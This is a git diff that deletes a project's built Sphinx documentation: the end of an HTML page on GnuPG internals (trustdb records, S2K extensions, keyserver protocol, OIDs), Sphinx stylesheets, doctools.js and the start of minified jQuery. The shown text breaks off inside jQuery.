considered as strong - random numbers.) - What we use is a dynamic multilevel architecture, which combines - hashtables, record lists, and linked lists. - - This record is a hashtable of 256 entries; a special property - is that all these records are stored consecutively to make one - big table. The hash value is simple the 1st, 2nd, ... byte of - the fingerprint (depending on the indirection level). - - When used to hash shadow directory records, a different table is used - and indexed by the keyid. - - 1 byte value 10 - 1 byte reserved - n u32 recnum; n depends on the record length: - n = (reclen-2)/4 which yields 9 for the current record length - of 40 bytes. - - the total number of such record which makes up the table is: - m = (256+n-1) / n - which is 29 for a record length of 40. - - To look up a key we use the first byte of the fingerprint to get - the recnum from this hashtable and look up the addressed record: - - If this record is another hashtable, we use 2nd byte - to index this hash table and so on. - - if this record is a hashlist, we walk all entries - until we found one a matching one. - - if this record is a key record, we compare the - fingerprint and to decide whether it is the requested key; - - -Record type 11 (hash list) --------------- - see hash table for an explanation. - This is also used for other purposes. - - 1 byte value 11 - 1 byte reserved - 1 u32 next next hash list record - n times n = (reclen-5)/5 - 1 u32 recnum - - For the current record length of 40, n is 7 - - - -Record type 254 (free record) ---------------- - All these records form a linked list of unused records. - 1 byte value 254 - 1 byte reserved (0) - 1 u32 next_free -</pre> - - - -</div> - -</div> - -<div id="outline-container-6" class="outline-2"> -<h2 id="sec-6"><span class="section-number-2">6</span> GNU extensions to the S2K algorithm</h2> -<div class="outline-text-2" id="text-6"> - - -<p> - S2K mode 101 is used to identify these extensions. - After the hash algorithm the 3 bytes "GNU" are used to make - clear that these are extensions for GNU, the next bytes gives the - GNU protection mode - 1000. Defined modes are: -</p><dl> -<dt>1001</dt><dd>Do not store the secret part at all. -</dd> -<dt>1002</dt><dd>A stub to access smartcards (not used in 1.2.x) -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-7" class="outline-2"> -<h2 id="sec-7"><span class="section-number-2">7</span> Keyserver helper message format</h2> -<div class="outline-text-2" id="text-7"> - - -<p> - The keyserver may be contacted by a Unix Domain socket or via TCP. -</p> -<p> - The format of a request is: -</p> - - -<pre class="example">command-tag -"Content-length:" digits -CRLF -</pre> - - -<p> - Where command-tag is -</p> - - - -<pre class="example">NOOP -GET <user-name> -PUT -DELETE <user-name> -</pre> - - -<p> -The format of a response is: -</p> - - - -<pre class="example">"GNUPG/1.0" status-code status-text -"Content-length:" digits -CRLF -</pre> - -<p> -followed by <digits> bytes of data -</p> -<p> -Status codes are: -</p> -<dl> -<dt>1xx</dt><dd>Informational - Request received, continuing process - -</dd> -<dt>2xx</dt><dd>Success - The action was successfully received, understood, - and accepted - -</dd> -<dt>4xx</dt><dd>Client Error - The request contains bad syntax or cannot be - fulfilled - -</dd> -<dt>5xx</dt><dd>Server Error - The server failed to fulfill an apparently - valid request -</dd> -</dl> - - - -</div> - -</div> - -<div id="outline-container-8" class="outline-2"> -<h2 id="sec-8"><span class="section-number-2">8</span> Object identifiers</h2> -<div class="outline-text-2" id="text-8"> - - -<p> - OIDs below the GnuPG arc: -</p> - - - -<pre class="example">1.3.6.1.4.1.11591.2 GnuPG -1.3.6.1.4.1.11591.2.1 notation -1.3.6.1.4.1.11591.2.1.1 pkaAddress -1.3.6.1.4.1.11591.2.2 X.509 extensions -1.3.6.1.4.1.11591.2.2.1 standaloneCertificate -1.3.6.1.4.1.11591.2.2.2 wellKnownPrivateKey -1.3.6.1.4.1.11591.2.12242973 invalid encoded OID -</pre> - - - - -</div> - -</div> - -<div id="outline-container-9" class="outline-2"> -<h2 id="sec-9"><span class="section-number-2">9</span> Miscellaneous notes</h2> -<div class="outline-text-2" id="text-9"> - - - -</div> - -<div id="outline-container-9-1" class="outline-3"> -<h3 id="sec-9-1"><span class="section-number-3">9.1</span> v3 fingerprints</h3> -<div class="outline-text-3" id="text-9-1"> - -<p> For packet version 3 we calculate the keyids this way: -</p><dl> -<dt>RSA</dt><dd>Low 64 bits of n -</dd> -<dt>ELGAMAL</dt><dd>Build a v3 pubkey packet (with CTB 0x99) and - calculate a RMD160 hash value from it. This is used - as the fingerprint and the low 64 bits are the keyid. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-9-2" class="outline-3"> -<h3 id="sec-9-2"><span class="section-number-3">9.2</span> Simplified revocation certificates</h3> -<div class="outline-text-3" id="text-9-2"> - -<p> Revocation certificates consist only of the signature packet; - "–import" knows how to handle this. The rationale behind it is to - keep them small. -</p> -</div> - -</div> - -<div id="outline-container-9-3" class="outline-3"> -<h3 id="sec-9-3"><span class="section-number-3">9.3</span> Documentation on HKP (the http keyserver protocol):</h3> -<div class="outline-text-3" id="text-9-3"> - - -<p> - A minimalistic HTTP server on port 11371 recognizes a GET for - /pks/lookup. The standard http URL encoded query parameters are - this (always key=value): -</p> -<ul> -<li>op=index (like pgp -kv), op=vindex (like pgp -kvv) and op=get (like - pgp -kxa) - -</li> -<li>search=<stringlist>. This is a list of words that must occur in the key. - The words are delimited with space, points, @ and so on. The delimiters - are not searched for and the order of the words doesn't matter (but see - next option). - -</li> -<li>exact=on. This switch tells the hkp server to only report exact matching - keys back. In this case the order and the "delimiters" are important. - -</li> -<li>fingerprint=on. Also reports the fingerprints when used with 'index' or - 'vindex' -</li> -</ul> - - -<p> - The keyserver also recognizes http-POSTs to /pks/add. Use this to upload - keys. -</p> - -<p> - A better way to do this would be a request like: -</p> -<p> - /pks/lookup/<gnupg_formatierte_user_id>?op=<operation> -</p> -<p> - This can be implemented using Hurd's translator mechanism. - However, I think the whole key server stuff has to be re-thought; - I have some ideas and probably create a white paper. -</p></div> -</div> -</div> -</div> - -<div id="postamble"> -<p class="date">Date: 2013-07-03T09:52+0000</p> -<p class="author">Author: isis</p> -<p class="email"><a href="mailto:isis@wintermute.patternsinthevoid.net">isis@wintermute.patternsinthevoid.net</a></p> -<p class="creator"><a href="http://orgmode.org">Org</a> version 7.9.2 with <a href="http://www.gnu.org/software/emacs/">Emacs</a> version 24</p> -<a href="http://validator.w3.org/check?uri=referer">Validate XHTML 1.0</a> - -</div> -</body> -</html> diff --git a/docs/_build/html/_static/agogo.css b/docs/_build/html/_static/agogo.css deleted file mode 100644 index 2bdc26f..0000000 --- a/docs/_build/html/_static/agogo.css +++ /dev/null @@ -1,337 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -body { - font-family: "Verdana", Arial, sans-serif; - line-height: 1.4em; - font-size: 14px; - color: black; - background-color: #eeeeec; -} - - -/* Page layout */ - -div.header, div.content, div.footer { - width: 70em; - margin-left: auto; - margin-right: auto; -} - -div.header-wrapper { - background: url(bgtop.png) top left repeat-x; - border-bottom: 3px solid #2e3436; -} - -div.headertitle a { - font-family: "Georgia", "Times New Roman", serif; - font-size: 2em; - color: rgb(252, 175, 62); - font-weight: normal; -} - -h1 { - color: #204a87; -} - -/* Default body styles */ -a { - text-decoration: none; - color: #ce5c00; -} - -.clearer { - clear: both; -} - -.left { - float: left; -} - -.right { - float: right; -} - -h1, h2, h3, h4 { - font-family: "Georgia", "Times New Roman", serif; - font-weight: normal; - color: #3465a4; - margin-bottom: .8em; -} - -h1 { - color: #204a87; -} - -h2 { - padding-bottom: .5em; - border-bottom: 1px solid #3465a4; -} - -a.headerlink { - visibility: hidden; - color: #dddddd; - padding-left: .3em; -} - -h1:hover > a.headerlink, -h2:hover > a.headerlink, -h3:hover > a.headerlink, -h4:hover > a.headerlink, -h5:hover > a.headerlink, -h6:hover > a.headerlink, -dt:hover > a.headerlink { - visibility: visible; -} - - - -/* Header */ - -div.header { - padding-top: 10px; - padding-bottom: 10px; -} - -div.header h1 { - font-family: "Georgia", "Times New Roman", serif; - font-weight: normal; - font-size: 160%; - letter-spacing: .08em; -} - -div.header h1 a { - color: white; -} - -div.header div.rel { - margin-top: 1em; -} - -div.header div.rel a { - color: #fcaf3e; - letter-spacing: .1em; - text-transform: uppercase; -} - - -/* Content */ -div.content-wrapper { - background-color: white; - padding-top: 20px; - padding-bottom: 20px; -} - -div.document { - width: 50em; - float: left; -} - -div.body { - padding-right: 2em; - text-align: justify; -} - -div.document ul { - margin-left: 1.2em; - list-style-type: square; -} - -div.document dd { - margin-left: 1.2em; - margin-top: .4em; - margin-bottom: 1em; -} - -div.document .section { - margin-top: 1.7em; -} -div.document .section:first-child { - margin-top: 0px; -} - -div.document div.highlight { - padding: 3px; - background-color: #eeeeec; - border-top: 2px solid #dddddd; - border-bottom: 2px solid #dddddd; - margin-top: .8em; - margin-bottom: .8em; -} - -div.document h2 { - margin-top: .7em; -} - -div.document p { - margin-bottom: .5em; -} - -div.document li.toctree-l1 { - margin-bottom: 1em; -} - -div.document .descname { - font-weight: bold; -} - -div.document .docutils.literal { - background-color: #eeeeec; - padding: 1px; -} - -div.document .docutils.xref.literal { - background-color: transparent; - padding: 0px; -} - - -/* Sidebar */ - -div.sidebar { - width: 20em; - float: right; - font-size: .9em; -} - -div.sidebar h3 { - color: #2e3436; - text-transform: uppercase; - font-size: 130%; - letter-spacing: .1em; -} - -div.sidebar ul { - list-style-type: none; -} - -div.sidebar li.toctree-l1 a { - display: block; - padding: 1px; - border: 1px solid #dddddd; - background-color: #eeeeec; - margin-bottom: .4em; - padding-left: 3px; - color: #2e3436; -} - -div.sidebar li.toctree-l2 a { - background-color: transparent; - border: none; - border-bottom: 1px solid #dddddd; -} - -div.sidebar li.toctree-l2:last-child a { - border-bottom: none; -} - -div.sidebar li.toctree-l1.current a { - border-right: 5px solid #fcaf3e; -} - -div.sidebar li.toctree-l1.current li.toctree-l2 a { - border-right: none; -} - - -/* Footer */ - -div.footer-wrapper { - background: url(bgfooter.png) top left repeat-x; - border-top: 4px solid #babdb6; - padding-top: 10px; - padding-bottom: 10px; - min-height: 80px; -} - -div.footer, div.footer a { - color: #888a85; -} - -div.footer .right { - text-align: right; -} - -div.footer .left { - text-transform: uppercase; -} - - -/* Styles copied form basic theme */ - -/* -- search page ----------------------------------------------------------- */ - -ul.search { - margin: 10px 0 0 20px; - padding: 0; -} - -ul.search li { - padding: 5px 0 5px 20px; - background-image: url(file.png); - background-repeat: no-repeat; - background-position: 0 7px; -} - -ul.search li a { - font-weight: bold; -} - -ul.search li div.context { - color: #888; - margin: 2px 0 0 30px; - text-align: left; -} - -ul.keywordmatches li.goodmatch a { - font-weight: bold; -} - -/* -- index page ------------------------------------------------------------ */ - -table.contentstable { - width: 90%; -} - -table.contentstable p.biglink { - line-height: 150%; -} - -a.biglink { - font-size: 1.3em; -} - -span.linkdescr { - font-style: italic; - padding-top: 5px; - font-size: 90%; -} - -/* -- general index --------------------------------------------------------- */ - -table.indextable td { - text-align: left; - vertical-align: top; -} - -table.indextable dl, table.indextable dd { - margin-top: 0; - margin-bottom: 0; -} - -table.indextable tr.pcap { - height: 10px; -} - -table.indextable tr.cap { - margin-top: 10px; - background-color: #f2f2f2; -} - -img.toggler { - margin-right: 3px; - margin-top: 3px; - cursor: pointer; -} diff --git a/docs/_build/html/_static/ajax-loader.gif b/docs/_build/html/_static/ajax-loader.gif Binary files differdeleted file mode 100644 index 61faf8c..0000000 --- a/docs/_build/html/_static/ajax-loader.gif +++ /dev/null diff --git a/docs/_build/html/_static/basic.css b/docs/_build/html/_static/basic.css deleted file mode 100644 index 8f37fb2..0000000 --- a/docs/_build/html/_static/basic.css +++ /dev/null @@ -1,537 +0,0 @@ -/* - * basic.css - * ~~~~~~~~~ - * - * Sphinx stylesheet -- basic theme. - * - * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. - * :license: BSD, see LICENSE for details. - * - */ - -/* -- main layout ----------------------------------------------------------- */ - -div.clearer { - clear: both; -} - -/* -- relbar ---------------------------------------------------------------- */ - -div.related { - width: 100%; - font-size: 90%; -} - -div.related h3 { - display: none; -} - -div.related ul { - margin: 0; - padding: 0 0 0 10px; - list-style: none; -} - -div.related li { - display: inline; -} - -div.related li.right { - float: right; - margin-right: 5px; -} - -/* -- sidebar --------------------------------------------------------------- */ - -div.sphinxsidebarwrapper { - padding: 10px 5px 0 10px; -} - -div.sphinxsidebar { - float: left; - width: 300px; - margin-left: -100%; - font-size: 90%; -} - -div.sphinxsidebar ul { - list-style: none; -} - -div.sphinxsidebar ul ul, -div.sphinxsidebar ul.want-points { - margin-left: 20px; - list-style: square; -} - -div.sphinxsidebar ul ul { - margin-top: 0; - margin-bottom: 0; -} - -div.sphinxsidebar form { - margin-top: 10px; -} - -div.sphinxsidebar input { - border: 1px solid #98dbcc; - font-family: sans-serif; - font-size: 1em; -} - -div.sphinxsidebar #searchbox input[type="text"] { - width: 170px; -} - -div.sphinxsidebar #searchbox input[type="submit"] { - width: 30px; -} - -img { - border: 0; - max-width: 100%; -} - -/* -- search page ----------------------------------------------------------- */ - -ul.search { - margin: 10px 0 0 20px; - padding: 0; -} - -ul.search li { - padding: 5px 0 5px 20px; - background-image: url(file.png); - background-repeat: no-repeat; - background-position: 0 7px; -} - -ul.search li a { - font-weight: bold; -} - -ul.search li div.context { - color: #888; - margin: 2px 0 0 30px; - text-align: left; -} - -ul.keywordmatches li.goodmatch a { - font-weight: bold; -} - -/* -- index page ------------------------------------------------------------ */ - -table.contentstable { - width: 90%; -} - -table.contentstable p.biglink { - line-height: 150%; -} - -a.biglink { - font-size: 1.3em; -} - -span.linkdescr { - font-style: italic; - padding-top: 5px; - font-size: 90%; -} - -/* -- general index --------------------------------------------------------- */ - -table.indextable { - width: 100%; -} - -table.indextable td { - text-align: left; - vertical-align: top; -} - -table.indextable dl, table.indextable dd { - margin-top: 0; - margin-bottom: 0; -} - -table.indextable tr.pcap { - height: 10px; -} - -table.indextable tr.cap { - margin-top: 10px; - background-color: #f2f2f2; -} - -img.toggler { - margin-right: 3px; - margin-top: 3px; - cursor: pointer; -} - -div.modindex-jumpbox { - border-top: 1px solid #ddd; - border-bottom: 1px solid #ddd; - margin: 1em 0 1em 0; - padding: 0.4em; -} - -div.genindex-jumpbox { - border-top: 1px solid #ddd; - border-bottom: 1px solid #ddd; - margin: 1em 0 1em 0; - padding: 0.4em; -} - -/* -- general body styles --------------------------------------------------- */ - -a.headerlink { - visibility: hidden; -} - -h1:hover > a.headerlink, -h2:hover > a.headerlink, -h3:hover > a.headerlink, -h4:hover > a.headerlink, -h5:hover > a.headerlink, -h6:hover > a.headerlink, -dt:hover > a.headerlink { - visibility: visible; -} - -div.body p.caption { - text-align: inherit; -} - -div.body td { - text-align: left; -} - -.field-list ul { - padding-left: 1em; -} - -.first { - margin-top: 0 !important; -} - -p.rubric { - margin-top: 30px; - font-weight: bold; -} - -img.align-left, .figure.align-left, object.align-left { - clear: left; - float: left; - margin-right: 1em; -} - -img.align-right, .figure.align-right, object.align-right { - clear: right; - float: right; - margin-left: 1em; -} - -img.align-center, .figure.align-center, object.align-center { - display: block; - margin-left: auto; - margin-right: auto; -} - -.align-left { - text-align: left; -} - -.align-center { - text-align: center; -} - -.align-right { - text-align: right; -} - -/* -- sidebars -------------------------------------------------------------- */ - -div.sidebar { - margin: 0 0 0.5em 1em; - border: 1px solid #ddb; - padding: 7px 7px 0 7px; - background-color: #ffe; - width: 40%; - float: right; -} - -p.sidebar-title { - font-weight: bold; -} - -/* -- topics ---------------------------------------------------------------- */ - -div.topic { - border: 1px solid #ccc; - padding: 7px 7px 0 7px; - margin: 10px 0 10px 0; -} - -p.topic-title { - font-size: 1.1em; - font-weight: bold; - margin-top: 10px; -} - -/* -- admonitions ----------------------------------------------------------- */ - -div.admonition { - margin-top: 10px; - margin-bottom: 10px; - padding: 7px; -} - -div.admonition dt { - font-weight: bold; -} - -div.admonition dl { - margin-bottom: 0; -} - -p.admonition-title { - margin: 0px 10px 5px 0px; - font-weight: bold; -} - -div.body p.centered { - text-align: center; - margin-top: 25px; -} - -/* -- tables ---------------------------------------------------------------- */ - -table.docutils { - border: 0; - border-collapse: collapse; -} - -table.docutils td, table.docutils th { - padding: 1px 8px 1px 5px; - border-top: 0; - border-left: 0; - border-right: 0; - border-bottom: 1px solid #aaa; -} - -table.field-list td, table.field-list th { - border: 0 !important; -} - -table.footnote td, table.footnote th { - border: 0 !important; -} - -th { - text-align: left; - padding-right: 5px; -} - -table.citation { - border-left: solid 1px gray; - margin-left: 1px; -} - -table.citation td { - border-bottom: none; -} - -/* -- other body styles ----------------------------------------------------- */ - -ol.arabic { - list-style: decimal; -} - -ol.loweralpha { - list-style: lower-alpha; -} - -ol.upperalpha { - list-style: upper-alpha; -} - -ol.lowerroman { - list-style: lower-roman; -} - -ol.upperroman { - list-style: upper-roman; -} - -dl { - margin-bottom: 15px; -} - -dd p { - margin-top: 0px; -} - -dd ul, dd table { - margin-bottom: 10px; -} - -dd { - margin-top: 3px; - margin-bottom: 10px; - margin-left: 30px; -} - -dt:target, .highlighted { - background-color: #fbe54e; -} - -dl.glossary dt { - font-weight: bold; - font-size: 1.1em; -} - -.field-list ul { - margin: 0; - padding-left: 1em; -} - -.field-list p { - margin: 0; -} - -.optional { - font-size: 1.3em; -} - -.versionmodified { - font-style: italic; -} - -.system-message { - background-color: #fda; - padding: 5px; - border: 3px solid red; -} - -.footnote:target { - background-color: #ffa; -} - -.line-block { - display: block; - margin-top: 1em; - margin-bottom: 1em; -} - -.line-block .line-block { - margin-top: 0; - margin-bottom: 0; - margin-left: 1.5em; -} - -.guilabel, .menuselection { - font-family: sans-serif; -} - -.accelerator { - text-decoration: underline; -} - -.classifier { - font-style: oblique; -} - -abbr, acronym { - border-bottom: dotted 1px; - cursor: help; -} - -/* -- code displays --------------------------------------------------------- */ - -pre { - overflow: auto; - overflow-y: hidden; /* fixes display issues on Chrome browsers */ -} - -td.linenos pre { - padding: 5px 0px; - border: 0; - background-color: transparent; - color: #aaa; -} - -table.highlighttable { - margin-left: 0.5em; -} - -table.highlighttable td { - padding: 0 0.5em 0 0.5em; -} - -tt.descname { - background-color: transparent; - font-weight: bold; - font-size: 1.2em; -} - -tt.descclassname { - background-color: transparent; -} - -tt.xref, a tt { - background-color: transparent; - font-weight: bold; -} - -h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt { - background-color: transparent; -} - -.viewcode-link { - float: right; -} - -.viewcode-back { - float: right; - font-family: sans-serif; -} - -div.viewcode-block:target { - margin: -1px -10px; - padding: 0 10px; -} - -/* -- math display ---------------------------------------------------------- */ - -img.math { - vertical-align: middle; -} - -div.body div.math p { - text-align: center; -} - -span.eqno { - float: right; -} - -/* -- printout stylesheet --------------------------------------------------- */ - -@media print { - div.document, - div.documentwrapper, - div.bodywrapper { - margin: 0 !important; - width: 100%; - } - - div.sphinxsidebar, - div.related, - div.footer, - #top-link { - display: none; - } -}
\ No newline at end of file diff --git a/docs/_build/html/_static/bgfooter.png b/docs/_build/html/_static/bgfooter.png Binary files differdeleted file mode 100644 index 9ce5bdd..0000000 --- a/docs/_build/html/_static/bgfooter.png +++ /dev/null diff --git a/docs/_build/html/_static/bgtop.png b/docs/_build/html/_static/bgtop.png Binary files differdeleted file mode 100644 index a0d4709..0000000 --- a/docs/_build/html/_static/bgtop.png +++ /dev/null diff --git a/docs/_build/html/_static/comment-bright.png b/docs/_build/html/_static/comment-bright.png Binary files differdeleted file mode 100644 index 551517b..0000000 --- a/docs/_build/html/_static/comment-bright.png +++ /dev/null diff --git a/docs/_build/html/_static/comment-close.png b/docs/_build/html/_static/comment-close.png Binary files differdeleted file mode 100644 index 09b54be..0000000 --- a/docs/_build/html/_static/comment-close.png +++ /dev/null diff --git a/docs/_build/html/_static/comment.png b/docs/_build/html/_static/comment.png Binary files differdeleted file mode 100644 index 92feb52..0000000 --- a/docs/_build/html/_static/comment.png +++ /dev/null diff --git a/docs/_build/html/_static/doctools.js b/docs/_build/html/_static/doctools.js deleted file mode 100644 index c5455c9..0000000 --- a/docs/_build/html/_static/doctools.js +++ /dev/null @@ -1,238 +0,0 @@ -/* - * doctools.js - * ~~~~~~~~~~~ - * - * Sphinx JavaScript utilities for all documentation. - * - * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. - * :license: BSD, see LICENSE for details. - * - */ - -/** - * select a different prefix for underscore - */ -$u = _.noConflict(); - -/** - * make the code below compatible with browsers without - * an installed firebug like debugger -if (!window.console || !console.firebug) { - var names = ["log", "debug", "info", "warn", "error", "assert", "dir", - "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace", - "profile", "profileEnd"]; - window.console = {}; - for (var i = 0; i < names.length; ++i) - window.console[names[i]] = function() {}; -} - */ - -/** - * small helper function to urldecode strings - */ -jQuery.urldecode = function(x) { - return decodeURIComponent(x).replace(/\+/g, ' '); -}; - -/** - * small helper function to urlencode strings - */ -jQuery.urlencode = encodeURIComponent; - -/** - * This function returns the parsed url parameters of the - * current request. Multiple values per key are supported, - * it will always return arrays of strings for the value parts. - */ -jQuery.getQueryParameters = function(s) { - if (typeof s == 'undefined') - s = document.location.search; - var parts = s.substr(s.indexOf('?') + 1).split('&'); - var result = {}; - for (var i = 0; i < parts.length; i++) { - var tmp = parts[i].split('=', 2); - var key = jQuery.urldecode(tmp[0]); - var value = jQuery.urldecode(tmp[1]); - if (key in result) - result[key].push(value); - else - result[key] = [value]; - } - return result; -}; - -/** - * highlight a given string on a jquery object by wrapping it in - * span elements with the given class name. - */ -jQuery.fn.highlightText = function(text, className) { - function highlight(node) { - if (node.nodeType == 3) { - var val = node.nodeValue; - var pos = val.toLowerCase().indexOf(text); - if (pos >= 0 && !jQuery(node.parentNode).hasClass(className)) { - var span = document.createElement("span"); - span.className = className; - span.appendChild(document.createTextNode(val.substr(pos, text.length))); - node.parentNode.insertBefore(span, node.parentNode.insertBefore( - document.createTextNode(val.substr(pos + text.length)), - node.nextSibling)); - node.nodeValue = val.substr(0, pos); - } - } - else if (!jQuery(node).is("button, select, textarea")) { - jQuery.each(node.childNodes, function() { - highlight(this); - }); - } - } - return this.each(function() { - highlight(this); - }); -}; - -/** - * Small JavaScript module for the documentation. - */ -var Documentation = { - - init : function() { - this.fixFirefoxAnchorBug(); - this.highlightSearchWords(); - this.initIndexTable(); - }, - - /** - * i18n support - */ - TRANSLATIONS : {}, - PLURAL_EXPR : function(n) { return n == 1 ? 0 : 1; }, - LOCALE : 'unknown', - - // gettext and ngettext don't access this so that the functions - // can safely bound to a different name (_ = Documentation.gettext) - gettext : function(string) { - var translated = Documentation.TRANSLATIONS[string]; - if (typeof translated == 'undefined') - return string; - return (typeof translated == 'string') ? translated : translated[0]; - }, - - ngettext : function(singular, plural, n) { - var translated = Documentation.TRANSLATIONS[singular]; - if (typeof translated == 'undefined') - return (n == 1) ? singular : plural; - return translated[Documentation.PLURALEXPR(n)]; - }, - - addTranslations : function(catalog) { - for (var key in catalog.messages) - this.TRANSLATIONS[key] = catalog.messages[key]; - this.PLURAL_EXPR = new Function('n', 'return +(' + catalog.plural_expr + ')'); - this.LOCALE = catalog.locale; - }, - - /** - * add context elements like header anchor links - */ - addContextElements : function() { - $('div[id] > :header:first').each(function() { - $('<a class="headerlink">\u00B6</a>'). - attr('href', '#' + this.id). - attr('title', _('Permalink to this headline')). - appendTo(this); - }); - $('dt[id]').each(function() { - $('<a class="headerlink">\u00B6</a>'). - attr('href', '#' + this.id). - attr('title', _('Permalink to this definition')). - appendTo(this); - }); - }, - - /** - * workaround a firefox stupidity - */ - fixFirefoxAnchorBug : function() { - if (document.location.hash && $.browser.mozilla) - window.setTimeout(function() { - document.location.href += ''; - }, 10); - }, - - /** - * highlight the search words provided in the url in the text - */ - highlightSearchWords : function() { - var params = $.getQueryParameters(); - var terms = (params.highlight) ? params.highlight[0].split(/\s+/) : []; - if (terms.length) { - var body = $('div.body'); - if (!body.length) { - body = $('body'); - } - window.setTimeout(function() { - $.each(terms, function() { - body.highlightText(this.toLowerCase(), 'highlighted'); - }); - }, 10); - $('<p class="highlight-link"><a href="javascript:Documentation.' + - 'hideSearchWords()">' + _('Hide Search Matches') + '</a></p>') - .appendTo($('#searchbox')); - } - }, - - /** - * init the domain index toggle buttons - */ - initIndexTable : function() { - var togglers = $('img.toggler').click(function() { - var src = $(this).attr('src'); - var idnum = $(this).attr('id').substr(7); - $('tr.cg-' + idnum).toggle(); - if (src.substr(-9) == 'minus.png') - $(this).attr('src', src.substr(0, src.length-9) + 'plus.png'); - else - $(this).attr('src', src.substr(0, src.length-8) + 'minus.png'); - }).css('display', ''); - if (DOCUMENTATION_OPTIONS.COLLAPSE_INDEX) { - togglers.click(); - } - }, - - /** - * helper function to hide the search marks again - */ - hideSearchWords : function() { - $('#searchbox .highlight-link').fadeOut(300); - $('span.highlighted').removeClass('highlighted'); - }, - - /** - * make the url absolute - */ - makeURL : function(relativeURL) { - return DOCUMENTATION_OPTIONS.URL_ROOT + '/' + relativeURL; - }, - - /** - * get the current relative url - */ - getCurrentURL : function() { - var path = document.location.pathname; - var parts = path.split(/\//); - $.each(DOCUMENTATION_OPTIONS.URL_ROOT.split(/\//), function() { - if (this == '..') - parts.pop(); - }); - var url = parts.join('/'); - return path.substring(url.lastIndexOf('/') + 1, path.length - 1); - } -}; - -// quick alias for translations -_ = Documentation.gettext; - -$(document).ready(function() { - Documentation.init(); -}); diff --git a/docs/_build/html/_static/down-pressed.png b/docs/_build/html/_static/down-pressed.png Binary files differdeleted file mode 100644 index 6f7ad78..0000000 --- a/docs/_build/html/_static/down-pressed.png +++ /dev/null diff --git a/docs/_build/html/_static/down.png b/docs/_build/html/_static/down.png Binary files differdeleted file mode 100644 index 3003a88..0000000 --- a/docs/_build/html/_static/down.png +++ /dev/null diff --git a/docs/_build/html/_static/file.png b/docs/_build/html/_static/file.png Binary files differdeleted file mode 100644 index d18082e..0000000 --- a/docs/_build/html/_static/file.png +++ /dev/null diff --git a/docs/_build/html/_static/jquery.js b/docs/_build/html/_static/jquery.js deleted file mode 100644 index 83589da..0000000 --- a/docs/_build/html/_static/jquery.js +++ /dev/null @@ -1,2 +0,0 @@ -/*! jQuery v1.8.3 jquery.com | jquery.org/license */
-(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r<i;r++)v.event.add(t,n,u[n][r])}o.data&&(o.data=v.extend({},o.data))}function Ot(e,t){var n;if(t.nodeType!==1)return;t.clearAttributes&&t.clearAttributes(),t.mergeAttributes&&t.mergeAttributes(e),n=t.nodeName.toLowerCase(),n==="object"?(t.parentNode&&(t.outerHTML=e.outerHTML),v.support.html5Clone&&e.innerHTML&&!v.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):n==="input"&&Et.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):n==="option"?t.selected=e.defaultSelected:n==="input"||n==="textarea"?t.defaultValue=e.defaultValue:n==="script"&&t.text!==e.text&&(t.text=e.text),t.removeAttribute(v.expando)}function Mt(e){return typeof e.getElementsByTagName!="undefined"?e.getElementsByTagName("*"):typeof e.querySelectorAll!="undefined"?e.querySelectorAll("*"):[]}function _t(e){Et.test(e.type)&&(e.defaultChecked=e.checked)}function Qt(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Jt.length;while(i--){t=Jt[i]+n;if(t in e)return t}return r}function Gt(e,t){return e=t||e,v.css(e,"display")==="none"||!v.contains(e.ownerDocument,e)}function Yt(e,t){var n,r,i=[],s=0,o=e.length;for(;s<o;s++){n=e[s];if(!n.style)continue;i[s]=v._data(n,"olddisplay"),t?(!i[s]&&n.style.display==="none"&&(n.style.display=""),n.style.display===""&&Gt(n)&&(i[s]=v._data(n,"olddisplay",nn(n.nodeName)))):(r=Dt(n,"display"),!i[s]&&r!=="none"&&v._data(n,"olddisplay",r))}for(s=0;s<o;s++){n=e[s];if(!n.style)continue;if(!t||n.style.display==="none"||n.style.display==="")n.style.display=t?i[s]||"":"none"}return e}function Zt(e,t,n){var r=Rt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function en(e,t,n,r){var i=n===(r?"border":"content")?4:t==="width"?1:0,s=0;for(;i<4;i+=2)n==="margin"&&(s+=v.css(e,n+$t[i],!0)),r?(n==="content"&&(s-=parseFloat(Dt(e,"padding"+$t[i]))||0),n!=="margin"&&(s-=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0)):(s+=parseFloat(Dt(e,"padding"+$t[i]))||0,n!=="padding"&&(s+=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0));return s}function tn(e,t,n){var 